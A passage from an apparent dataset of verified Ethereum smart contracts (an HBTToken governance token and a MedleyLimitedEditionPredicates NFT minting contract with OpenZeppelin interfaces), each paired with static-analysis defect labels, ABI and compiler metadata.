checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
} | [{"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["1055"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["1000"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["770", "782", "755"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["1057", "990", "1061", "1032", "1040", "1000"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["952"]}] | [{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"HBTToken.sol": [1074]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"HBTToken.sol": [304]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"HBTToken.sol": [403, 404, 405, 406]}}, {"check": "pragma", "impact": "Informational", "confidence": "High", "lines": {"HBTToken.sol": [795]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"HBTToken.sol": [192, 193, 194, 195, 196, 197, 198, 186, 187, 188, 189, 190, 191]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"HBTToken.sol": [324, 325, 326, 327, 328, 329, 330]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"HBTToken.sol": [376, 377, 375]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"HBTToken.sol": [264, 265, 266, 267]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"HBTToken.sol": [385, 386, 387, 388]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"HBTToken.sol": [228, 229, 230, 231, 232, 233, 234]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"HBTToken.sol": [704, 702, 703]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"HBTToken.sol": [24, 25, 22, 23]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"HBTToken.sol": [248, 249, 250]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"HBTToken.sol": [212, 213, 214]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"HBTToken.sol": [390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"HBTToken.sol": [297, 298, 299, 300, 301, 302, 303, 304, 305, 306]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"HBTToken.sol": [360, 361, 362]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"HBTToken.sol": [352, 350, 351]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"HBTToken.sol": [833, 834, 835, 836, 837]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"HBTToken.sol": [567, 568, 569, 570, 571]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"HBTToken.sol": [777, 778, 779, 780]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"HBTToken.sol": [505, 506, 507]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"HBTToken.sol": [604, 605, 606, 607]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"HBTToken.sol": [488, 489, 490]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"HBTToken.sol": [531, 532, 533, 534]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"HBTToken.sol": [585, 586, 587, 588]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"HBTToken.sol": [786, 787, 788, 789, 790]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"HBTToken.sol": [826, 827, 828, 829, 830, 831]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"HBTToken.sol": [552, 553, 550, 551]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"HBTToken.sol": [812, 813, 814]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"HBTToken.sol": [817, 818, 819]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"HBTToken.sol": [840, 841, 842, 843, 844, 845, 846]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"HBTToken.sol": [539, 540, 541]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"HBTToken.sol": [32]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"HBTToken.sol": [418]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"HBTToken.sol": [112]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"HBTToken.sol": [5]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"HBTToken.sol": [274]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"HBTToken.sol": [727]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"HBTToken.sol": [1057]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"HBTToken.sol": [480, 481, 482]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"HBTToken.sol": [488, 489, 490]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"HBTToken.sol": [328]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"HBTToken.sol": [394]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"HBTToken.sol": [817]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"HBTToken.sol": [817]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"HBTToken.sol": [821]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"HBTToken.sol": [855]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"HBTToken.sol": [826]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"HBTToken.sol": [826]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"HBTToken.sol": [840]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"HBTToken.sol": [840]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"HBTToken.sol": [833]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"HBTToken.sol": [17, 18, 19, 20, 21, 22, 23, 24, 25, 26]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"HBTToken.sol": [952]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"HBTToken.sol": [808]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 646, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 667, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 779, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 830, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 845, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 550, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1001, "severity": 1}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 817, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 5, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 32, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 112, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 274, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 418, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 727, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 452, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 454, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 456, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 458, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 459, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 460, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 742, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 805, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 449, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 1072, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 297, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 304, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 1074, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 324, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 324, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 324, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 325, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 325, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 325, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 325, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 328, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 328, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 328, "severity": 1}] | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"delegator","type":"address"},{"indexed":true,"internalType":"address","name":"fromDelegate","type":"address"},{"indexed":true,"internalType":"address","name":"toDelegate","type":"address"}],"name":"DelegateChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"delegate","type":"address"},{"indexed":false,"internalType":"uint256","name":"previousBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newBalance","type":"uint256"}],"name":"DelegateVotesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DELEGATION_TYPEHASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"DOMAIN_TYPEHASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"allowMint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"allowMintAddr","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"allowMintAddrInfo","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"capacity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint32","name":"","type":"uint32"}],"name":"checkpoints","outputs":[{"internalType":"uint32","name":"fromBlock","type":"uint32"},{"internalType":"uint256","name":"votes","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegatee","type":"address"}],"name":"delegate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegatee","type":"address"},{"internalType":"uint256","name":"nonce","type":"uint256"},{"internalType":"uint256","name":"expiry","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"delegateBySig","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegator","type":"address"}],"name":"delegates","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getCurrentVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"blockNumber","type":"uint256"}],"name":"getPriorVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"numCheckpoints","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_bool","type":"bool"}],"name":"setAllowMintAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.6.12+commit.27d51765 | true | 200 | Default | None | false | ipfs://28a97ef82c1939d40a6cfc727439a25a69be4eeee11974d9468b95c338c0758d |
|||
MedleyLimitedEditionPredicates | 0xb2b9b2a914b1a5dceb9c2d7ac4ce9e7fc05d6eaa | Solidity | // File: contracts/src/hashes_collections/medleys/MedleyLimitedEditionPredicates.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { ICollectionNFTEligibilityPredicate } from "../../interfaces/ICollectionNFTEligibilityPredicate.sol";
import { ICollectionNFTMintFeePredicate } from "../../interfaces/ICollectionNFTMintFeePredicate.sol";
import { IHashes } from "../../interfaces/IHashes.sol";
contract MedleyLimitedEditionPredicates is Ownable, ICollectionNFTEligibilityPredicate, ICollectionNFTMintFeePredicate {
enum RolloutState {
Disabled,
AllowlistPreSeason,
DAOHashesPreSeason,
AllHashesPreSeason,
AllowlistNormalSeason,
DAOHashesNormalSeason,
AllHashesNormalSeason
}
RolloutState public currentRolloutState;
IHashes hashes;
mapping(uint256 => bool) public preSeasonAllowlist;
mapping(uint256 => bool) public normalSeasonAllowlist;
uint256 preSeasonMintFee;
uint256 normalSeasonMintFee;
constructor(
IHashes _hashes,
address _owner,
uint256 _preSeasonMintFee,
uint256 _normalSeasonMintFee
) {
hashes = _hashes;
preSeasonMintFee = _preSeasonMintFee;
normalSeasonMintFee = _normalSeasonMintFee;
transferOwnership(_owner);
}
function setPreSeasonAllowlist(uint256[] memory _allowlist, bool[] memory _enable) external onlyOwner {
require(_allowlist.length == _enable.length, "MedleyLimitedEditionPredicates: arrays must be same length");
for (uint256 i = 0; i < _allowlist.length; i++) {
preSeasonAllowlist[_allowlist[i]] = _enable[i];
}
}
function setNormalSeasonAllowlist(uint256[] memory _allowlist, bool[] memory _enable) external onlyOwner {
require(_allowlist.length == _enable.length, "MedleyLimitedEditionPredicates: arrays must be same length");
for (uint256 i = 0; i < _allowlist.length; i++) {
normalSeasonAllowlist[_allowlist[i]] = _enable[i];
}
}
function setCurrentRolloutState(RolloutState _rolloutState) external onlyOwner {
currentRolloutState = _rolloutState;
}
function getTokenMintFee(uint256 _tokenId, uint256) external view override returns (uint256) {
if (_tokenId < 15) {
return preSeasonMintFee;
}
return normalSeasonMintFee;
}
function isTokenEligibleToMint(uint256 _tokenId, uint256 _hashesTokenId) external view override returns (bool) {
if (currentRolloutState == RolloutState.Disabled) {
return false;
}
if (currentRolloutState == RolloutState.AllowlistPreSeason) {
return _tokenId < 15 && preSeasonAllowlist[_hashesTokenId];
}
if (currentRolloutState == RolloutState.DAOHashesPreSeason) {
return
_tokenId < 15 &&
((_hashesTokenId < 1000 && !hashes.deactivated(_hashesTokenId)) || preSeasonAllowlist[_hashesTokenId]);
}
if (currentRolloutState == RolloutState.AllHashesPreSeason) {
return _tokenId < 15;
}
if (currentRolloutState == RolloutState.AllowlistNormalSeason) {
return normalSeasonAllowlist[_hashesTokenId];
}
if (currentRolloutState == RolloutState.DAOHashesNormalSeason) {
return
(_hashesTokenId < 1000 && !hashes.deactivated(_hashesTokenId)) || normalSeasonAllowlist[_hashesTokenId];
}
return true;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: contracts/src/interfaces/ICollectionNFTEligibilityPredicate.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
interface ICollectionNFTEligibilityPredicate {
function isTokenEligibleToMint(uint256 _tokenId, uint256 _hashesTokenId) external view returns (bool);
}
// File: contracts/src/interfaces/ICollectionNFTMintFeePredicate.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
interface ICollectionNFTMintFeePredicate {
function getTokenMintFee(uint256 _tokenId, uint256 _hashesTokenId) external view returns (uint256);
}
// File: contracts/src/interfaces/IHashes.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import { IERC721Enumerable } from "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
interface IHashes is IERC721Enumerable {
function deactivateTokens(
address _owner,
uint256 _proposalId,
bytes memory _signature
) external returns (uint256);
function deactivated(uint256 _tokenId) external view returns (bool);
function activationFee() external view returns (uint256);
function verify(
uint256 _tokenId,
address _minter,
string memory _phrase
) external view returns (bool);
function getHash(uint256 _tokenId) external view returns (bytes32);
function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256);
}
// File: @openzeppelin/contracts/utils/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
| [{"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["168"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["147", "132", "275", "158", "322"]}] | [{"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/introspection/IERC165.sol": [3]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 155, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 49, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 56, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 49, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 56, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 47, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 54, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 61, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 104, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 233, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 261, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 294, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 441, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 121, "severity": 1}, {"rule": 